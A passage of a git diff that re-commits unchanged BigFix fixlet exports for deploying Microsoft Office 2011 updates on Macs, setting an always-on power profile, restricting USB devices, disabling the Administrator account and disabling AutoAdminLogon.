-wait /usr/bin/hdiutil attach -quiet -nobrowse -mountpoint &quot;/tmp/OFFICE20111435&quot; &quot;{posix path of file &quot;Office2011-1435UpdateEN.dmg&quot; of folder &quot;__Download&quot; of client folder of current site}&quot;
-wait /bin/sh -c &quot;/usr/sbin/installer -pkg /tmp/OFFICE20111435/Office\ 2011\ 14.3.5\ Update.pkg -target /&quot;
-wait /usr/bin/hdiutil detach -force &quot;/tmp/OFFICE20111435&quot;
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Deploy Microsoft Office 2011 Update 14.3.5
+  ID       : 2531
+  Author   : hansen_m
+  Domain   : BESC
+  Imported : 2013-07-08T08:56:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Deploy Microsoft Office 2011 Update 14.3.5</Title>
+    <Description><![CDATA[This task will deploy Microsoft Office 2011 Update 14.3.5 <BR><BR>- Requires Microsoft Office 2011 Service Pack 1 <BR><BR>This task is applicable on Mac OS X 10.6, Mac OS X 10.7 and Mac OS X 10.8 ]]></Description>
+    <Relevance>mac of operating system</Relevance>
+    <Relevance><![CDATA[(system version >= "10.6" AND system version < "10.9")]]></Relevance>
+    <Relevance>exists folder &quot;Microsoft Office 2011&quot; of applications folder</Relevance>
+    <Relevance><![CDATA[exists application "Microsoft Word.app" whose (version of it < "14.3.5" AND version of it >= "14.1.0") OR exists application "Microsoft Excel.app" whose (version of it < "14.3.5" AND version of it >= "14.1.0") OR exists application "Microsoft PowerPoint.app" whose (version of it < "14.3.5" AND version of it >= "14.1.0") OR exists application "Microsoft Outlook.app" whose (version of it < "14.3.5" AND version of it >= "14.1.0")]]></Relevance>
+    <Category>Software Deployment</Category>
+    <Source>Mac Software Deployment Wizard</Source>
+    <SourceID>mah60</SourceID>
+    <SourceReleaseDate>2026-09-17</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Mac Software Deployment Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 08 Jul 2013 13:31:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch Office2011-1435UpdateEN.dmg sha1:da4767931619e8ec3725c81672a067371c7b92ba size:118529423 http://download.microsoft.com/download/E/1/A/E1A3BFED-FED3-498E-8D02-EF4796F1F8E7/Office2011-1435UpdateEN.dmg
+wait /usr/bin/hdiutil attach -quiet -nobrowse -mountpoint &quot;/tmp/OFFICE20111435&quot; &quot;{posix path of file &quot;Office2011-1435UpdateEN.dmg&quot; of folder &quot;__Download&quot; of client folder of current site}&quot;
+wait /bin/sh -c &quot;/usr/sbin/installer -pkg /tmp/OFFICE20111435/Office\ 2011\ 14.3.5\ Update.pkg -target /&quot;
+wait /usr/bin/hdiutil detach -force &quot;/tmp/OFFICE20111435&quot;
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.6 (2539).bes b/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.6 (2539).bes
index 13328cad7..80ac9c894 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.6 (2539).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Deploy Microsoft Office 2011 Update 14.3.6 (2539).bes	
@@ -1,47 +1,47 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Deploy Microsoft Office 2011 Update 14.3.6
-  ID       : 2539
-  Author   : hansen_m
-  Domain   : BESC
-  Imported : 2013-07-21T08:00:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Deploy Microsoft Office 2011 Update 14.3.6</Title>
-    <Description><![CDATA[This task will deploy Microsoft Office 2011 Update 14.3.6<BR><BR>- Requires Microsoft Office 2011 Service Pack 1 <BR><BR>This task is applicable on Mac OS X 10.6, Mac OS X 10.7 and Mac OS X 10.8 ]]></Description>
-    <Relevance>mac of operating system</Relevance>
-    <Relevance><![CDATA[(system version >= "10.6" AND system version < "10.9")]]></Relevance>
-    <Relevance>exists folder &quot;Microsoft Office 2011&quot; of applications folder</Relevance>
-    <Relevance><![CDATA[exists application "Microsoft Word.app" whose (version of it < "14.3.6" AND version of it >= "14.1.0") OR exists application "Microsoft Excel.app" whose (version of it < "14.3.6" AND version of it >= "14.1.0") OR exists application "Microsoft PowerPoint.app" whose (version of it < "14.3.6" AND version of it >= "14.1.0") OR exists application "Microsoft Outlook.app" whose (version of it < "14.3.6" AND version of it >= "14.1.0")]]></Relevance>
-    <Category>Software Deployment</Category>
-    <Source>Mac Software Deployment Wizard</Source>
-    <SourceID>mah60</SourceID>
-    <SourceReleaseDate>2026-09-17</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Mac Software Deployment Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 19 Jul 2013 15:02:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch Office2011-1436Update_EN-US.dmg sha1:e55b56088a7ffde3a544b497926a4b4e4874a505 size:118568321 http://download.microsoft.com/download/F/A/2/FA2FBEE4-A7F9-4E59-8474-C580E2CBE412/Office2011-1436Update_EN-US.dmg
-wait /usr/bin/hdiutil attach -quiet -nobrowse -mountpoint &quot;/tmp/OFFICE20111436&quot; &quot;{posix path of file &quot;Office2011-1436Update_EN-US.dmg&quot; of folder &quot;__Download&quot; of client folder of current site}&quot;
-wait /bin/sh -c &quot;/usr/sbin/installer -pkg /tmp/OFFICE20111436/Office\ 2011\ 14.3.6\ Update.pkg -target /&quot;
-wait /usr/bin/hdiutil detach -force &quot;/tmp/OFFICE20111436&quot;
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Deploy Microsoft Office 2011 Update 14.3.6
+  ID       : 2539
+  Author   : hansen_m
+  Domain   : BESC
+  Imported : 2013-07-21T08:00:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Deploy Microsoft Office 2011 Update 14.3.6</Title>
+    <Description><![CDATA[This task will deploy Microsoft Office 2011 Update 14.3.6<BR><BR>- Requires Microsoft Office 2011 Service Pack 1 <BR><BR>This task is applicable on Mac OS X 10.6, Mac OS X 10.7 and Mac OS X 10.8 ]]></Description>
+    <Relevance>mac of operating system</Relevance>
+    <Relevance><![CDATA[(system version >= "10.6" AND system version < "10.9")]]></Relevance>
+    <Relevance>exists folder &quot;Microsoft Office 2011&quot; of applications folder</Relevance>
+    <Relevance><![CDATA[exists application "Microsoft Word.app" whose (version of it < "14.3.6" AND version of it >= "14.1.0") OR exists application "Microsoft Excel.app" whose (version of it < "14.3.6" AND version of it >= "14.1.0") OR exists application "Microsoft PowerPoint.app" whose (version of it < "14.3.6" AND version of it >= "14.1.0") OR exists application "Microsoft Outlook.app" whose (version of it < "14.3.6" AND version of it >= "14.1.0")]]></Relevance>
+    <Category>Software Deployment</Category>
+    <Source>Mac Software Deployment Wizard</Source>
+    <SourceID>mah60</SourceID>
+    <SourceReleaseDate>2026-09-17</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Mac Software Deployment Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 19 Jul 2013 15:02:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch Office2011-1436Update_EN-US.dmg sha1:e55b56088a7ffde3a544b497926a4b4e4874a505 size:118568321 http://download.microsoft.com/download/F/A/2/FA2FBEE4-A7F9-4E59-8474-C580E2CBE412/Office2011-1436Update_EN-US.dmg
+wait /usr/bin/hdiutil attach -quiet -nobrowse -mountpoint &quot;/tmp/OFFICE20111436&quot; &quot;{posix path of file &quot;Office2011-1436Update_EN-US.dmg&quot; of folder &quot;__Download&quot; of client folder of current site}&quot;
+wait /bin/sh -c &quot;/usr/sbin/installer -pkg /tmp/OFFICE20111436/Office\ 2011\ 14.3.6\ Update.pkg -target /&quot;
+wait /usr/bin/hdiutil detach -force &quot;/tmp/OFFICE20111436&quot;
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Designate ALWAYS On Profile (2611).bes b/Sites/Windows Management/Fixlets/Fixlets/Designate ALWAYS On Profile (2611).bes
index 2fbeb19cf..ac9ef2bc4 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Designate ALWAYS On Profile (2611).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Designate ALWAYS On Profile (2611).bes	
@@ -1,74 +1,74 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Designate ALWAYS On Profile
-  ID       : 2611
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2013-10-03T19:24:15
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Designate ALWAYS On Profile</Title>
-    <Description><![CDATA[<TABLE>
-<TBODY>
-<TR>
-<TD>
-<P><LINK rel=stylesheet type=text/css href="descriptionTable.css">
-<P>This Task will make each of the targeted computers a "ALWAYS On Profile" computer.</P>
-<P>Configure a computer's power profile&nbsp;to never enter the system Standby, Hibernate, or hard-disk power management modes actions that would turn the computer off.</P></TD></TR></TBODY></TABLE>]]></Description>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true</Relevance>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else true) AND (name of operating system starts with &quot;Win&quot; OR name of operating system = &quot;Mac OS X&quot;)</Relevance>
-    <Relevance><![CDATA[version of client >= "7.2" AND ((if (name of it= "Mac OS X") then (release of it >= "10.4" as version AND release of it < "10.9" as version) else true) of operating system)]]></Relevance>
-    <Category>Power Options</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2013-10-03</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 04 Oct 2013 02:16:45 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action2861">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to apply an ALWAYS On Power Option.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {name of operating system = "Mac OS X"}
-	wait pmset disksleep 0
-	wait pmset sleep 0
-else
-	if {major version of operating system = 6}
-		waithidden cmd.exe /C powercfg.exe -list > __list
-
-		if{exists file "__list" whose(exists line whose(it contains "(ALWAYS On Profile)" ) of it)}
-			waithidden cmd.exe /C powercfg.exe -setactive {(if(exists lines whose(it contains "(ALWAYS On Profile)")  of it ) then(preceding text of first "(" of following text of first ":" of  concatenations of( lines whose(it contains "(ALWAYS On Profile)") of it)  of  file "__list") else("381b4222-f694-41f0-9685-ff5bb260df2e") ) of  file "__list"}
-			delete __list
-		else
-			waithidden cmd.exe /C powercfg.exe -duplicatescheme 381b4222-f694-41f0-9685-ff5bb260df2e > __guid
-			waithidden cmd.exe /C powercfg.exe -changename {preceding text of last "(" of (following text of first ": " of (line 1 of file "__guid"))} "Last Man Standing"
-			waithidden cmd.exe /C powercfg.exe -setactive {preceding text of last "(" of (following text of first ": " of (line 1 of file "__guid"))}
-			delete __guid
-		endif
-
-		waithidden cmd.exe /C powercfg.exe -change -disk-timeout-ac 0
-		waithidden cmd.exe /C powercfg.exe -change -standby-timeout-ac 0
-		waithidden cmd.exe /C powercfg.exe -hibernate off
-	else
-		if{name of operating system contains "Win"}
-			waithidden "{pathname of system folder & "\powercfg.exe"}" /create "ALWAYS On Profile"
-			waithidden "{pathname of system folder & "\powercfg.exe"}" /setactive "ALWAYS On Profile"
-			waithidden "{pathname of system folder & "\powercfg.exe"}" /change "ALWAYS On Profile" /disk-timeout-ac 0
-			waithidden "{pathname of system folder & "\powercfg.exe"}" /change "ALWAYS On Profile" /standby-timeout-ac 0
-			waithidden "{pathname of system folder & "\powercfg.exe"}" /hibernate off
-		endif
-	endif
-endif
-]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Designate ALWAYS On Profile
+  ID       : 2611
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-10-03T19:24:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Designate ALWAYS On Profile</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P><LINK rel=stylesheet type=text/css href="descriptionTable.css">
+<P>This Task will make each of the targeted computers a "ALWAYS On Profile" computer.</P>
+<P>Configure a computer's power profile&nbsp;to never enter the system Standby, Hibernate, or hard-disk power management modes actions that would turn the computer off.</P></TD></TR></TBODY></TABLE>]]></Description>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true</Relevance>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else true) AND (name of operating system starts with &quot;Win&quot; OR name of operating system = &quot;Mac OS X&quot;)</Relevance>
+    <Relevance><![CDATA[version of client >= "7.2" AND ((if (name of it= "Mac OS X") then (release of it >= "10.4" as version AND release of it < "10.9" as version) else true) of operating system)]]></Relevance>
+    <Category>Power Options</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-10-03</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 04 Oct 2013 02:16:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action2861">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to apply an ALWAYS On Power Option.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {name of operating system = "Mac OS X"}
+	wait pmset disksleep 0
+	wait pmset sleep 0
+else
+	if {major version of operating system = 6}
+		waithidden cmd.exe /C powercfg.exe -list > __list
+
+		if{exists file "__list" whose(exists line whose(it contains "(ALWAYS On Profile)" ) of it)}
+			waithidden cmd.exe /C powercfg.exe -setactive {(if(exists lines whose(it contains "(ALWAYS On Profile)")  of it ) then(preceding text of first "(" of following text of first ":" of  concatenations of( lines whose(it contains "(ALWAYS On Profile)") of it)  of  file "__list") else("381b4222-f694-41f0-9685-ff5bb260df2e") ) of  file "__list"}
+			delete __list
+		else
+			waithidden cmd.exe /C powercfg.exe -duplicatescheme 381b4222-f694-41f0-9685-ff5bb260df2e > __guid
+			waithidden cmd.exe /C powercfg.exe -changename {preceding text of last "(" of (following text of first ": " of (line 1 of file "__guid"))} "Last Man Standing"
+			waithidden cmd.exe /C powercfg.exe -setactive {preceding text of last "(" of (following text of first ": " of (line 1 of file "__guid"))}
+			delete __guid
+		endif
+
+		waithidden cmd.exe /C powercfg.exe -change -disk-timeout-ac 0
+		waithidden cmd.exe /C powercfg.exe -change -standby-timeout-ac 0
+		waithidden cmd.exe /C powercfg.exe -hibernate off
+	else
+		if{name of operating system contains "Win"}
+			waithidden "{pathname of system folder & "\powercfg.exe"}" /create "ALWAYS On Profile"
+			waithidden "{pathname of system folder & "\powercfg.exe"}" /setactive "ALWAYS On Profile"
+			waithidden "{pathname of system folder & "\powercfg.exe"}" /change "ALWAYS On Profile" /disk-timeout-ac 0
+			waithidden "{pathname of system folder & "\powercfg.exe"}" /change "ALWAYS On Profile" /standby-timeout-ac 0
+			waithidden "{pathname of system folder & "\powercfg.exe"}" /hibernate off
+		endif
+	endif
+endif
+]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Device Control (24645).bes b/Sites/Windows Management/Fixlets/Fixlets/Device Control (24645).bes
index d6e6cea35..bc5ae9f90 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Device Control (24645).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Device Control (24645).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Device Control
-  ID       : 24645
-  Author   : tstacy
-  Domain   : BESC
-  Imported : 2017-09-26T06:32:05
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Device Control</Title>
-    <Description><![CDATA[This Fixlet allows only certain USB Devices and denies all others for Windows 10.&nbsp;To change Device Hardware ID's modify the AllowDeviceIDs\n&nbsp;field. ]]></Description>
-    <Relevance>true</Relevance>
-    <Source>Tom Stacy</Source>
-    <SourceReleaseDate>2017-09-26</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 08 Sep 2017 21:03:05 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
-regset &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions&quot; &quot;AllowDeviceIDs&quot;=dword:00000001
-regset &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions&quot; &quot;DenyRemovableDevices&quot;=dword:00000001
-regset &quot;Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\AllowDeviceIDs\1&quot;=sz:&quot;USBSTOR\\DiskUSB_2.0_USB_Flash_Drive_1100&quot;
-regset &quot;Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DeniedPolicy\SimpleText&quot;=sz:&quot;InfoSec has prevented this PC from mounting this USB.&quot;
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Device Control
+  ID       : 24645
+  Author   : tstacy
+  Domain   : BESC
+  Imported : 2017-09-26T06:32:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Device Control</Title>
+    <Description><![CDATA[This Fixlet allows only certain USB Devices and denies all others for Windows 10.&nbsp;To change Device Hardware ID's modify the AllowDeviceIDs\n&nbsp;field. ]]></Description>
+    <Relevance>true</Relevance>
+    <Source>Tom Stacy</Source>
+    <SourceReleaseDate>2017-09-26</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 08 Sep 2017 21:03:05 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+regset &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions&quot; &quot;AllowDeviceIDs&quot;=dword:00000001
+regset &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions&quot; &quot;DenyRemovableDevices&quot;=dword:00000001
+regset &quot;Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\AllowDeviceIDs\1&quot;=sz:&quot;USBSTOR\\DiskUSB_2.0_USB_Flash_Drive_1100&quot;
+regset &quot;Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DeniedPolicy\SimpleText&quot;=sz:&quot;InfoSec has prevented this PC from mounting this USB.&quot;
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Administrator Account (99).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Administrator Account (99).bes
index 56c11a88a..e14fbdb2b 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable Administrator Account (99).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Administrator Account (99).bes	
@@ -1,45 +1,45 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Disable Administrator Account
-  ID       : 99
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-17T09:31:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Disable Administrator Account</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists local user &quot;Administrator&quot; OR exists local user &quot;TheAdministrator&quot;</Relevance>
-    <Relevance>NOT account disabled flag of local user &quot;Administrator&quot; OR NOT account disabled flag of local user &quot;TheAdministrator&quot;</Relevance>
-    <Category>Configuration</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 01 Oct 2012 21:49:02 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-if {exists local user &quot;Administrator&quot;}
-	wait net user Administrator /active:NO
-else  //if {exists local user &quot;TheAdministrator&quot;}
-	wait net user TheAdministrator /active:NO
-endif
-</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Administrator Account
+  ID       : 99
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Administrator Account</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists local user &quot;Administrator&quot; OR exists local user &quot;TheAdministrator&quot;</Relevance>
+    <Relevance>NOT account disabled flag of local user &quot;Administrator&quot; OR NOT account disabled flag of local user &quot;TheAdministrator&quot;</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:49:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {exists local user &quot;Administrator&quot;}
+	wait net user Administrator /active:NO
+else  //if {exists local user &quot;TheAdministrator&quot;}
+	wait net user TheAdministrator /active:NO
+endif
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable AutoAdminLogon (740).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable AutoAdminLogon (740).bes
index 6f4fa4cde..97bdd2d8f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Disable AutoAdminLogon (740).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable AutoAdminLogon (740).bes	
@@ -1,40 +1,40 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Disable AutoAdminLogon
-  ID       : 740
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2012-12-06T14:45:52
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Disable AutoAdminLogon</Title>
-    <Description><![CDATA[This task will edit the Windows Registry.<VALUE> <BR><BR></VALUE>This task is applicable on:&nbsp;Windows XP, Windows Vista, Windows 7. ]]></Description>
-    <Relevance>name of operating system = &quot;WinXP&quot; OR name of operating system = &quot;WinXP-2003&quot; OR (name of it = &quot;WinVista&quot; and product type of it = nt workstation product type) of operating system OR name of operating system = &quot;Win7&quot;</Relevance>
-    <Relevance>exists value &quot;AutoAdminLogon&quot; whose (0 != it as integer) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of native registry</Relevance>
-    <Category>Registry Edit</Category>
-    <Source>Windows Registry Wizard</Source>
-    <SourceReleaseDate>2026-09-17</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Windows Registry Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 22 Sep 2011 19:38:02 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click&amp;nbsp;</PreLink>
-        <Link>here&amp;nbsp;</Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]&quot; &quot;AutoAdminLogon&quot;=&quot;0&quot;</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable AutoAdminLogon
+  ID       : 740
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-06T14:45:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable AutoAdminLogon</Title>
+    <Description><![CDATA[This task will edit the Windows Registry.<VALUE> <BR><BR></VALUE>This task is applicable on:&nbsp;Windows XP, Windows Vista, Windows 7. ]]></Description>
